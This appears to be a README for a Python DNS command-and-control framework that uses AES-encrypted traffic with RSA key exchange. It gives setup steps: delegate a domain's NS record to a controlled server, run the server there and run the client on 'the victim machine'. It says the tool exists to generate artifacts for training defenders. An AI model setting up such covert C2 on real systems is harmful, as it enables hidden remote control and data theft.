NotSoSimple DNS C2 with Python client and server
Using AES 256 in CTR mode to encrypt / decrypt data. Also transmits the AES key / IV using RSA in 2048 bit mode to ensure the safety of our data.
Purpose A plain-as-possible DNS C2 framework with both client and server written in Python. This is designed as an artifact generation tool for training defenders.
Setup Configure a DNS record (like, with a legit registrar) with an NS record that points to a public asset you control. Example: nodc2.SomeDomainIOwn.com, pointing to myVPC.SomeDomainIOwn.com. Set the TTL to 1 second so that repeat messages don't get cached responses.
On that VPC, install and run the server, e.g., sudo python3 nodc2server.py nodc2.SomeDomainIOwn.com
On the victim machine, run nodc2client.py -d nodc2.SomeDomainIOwn.com
Inspired from /~https://github.com/chriselgee/ObviousDNSC2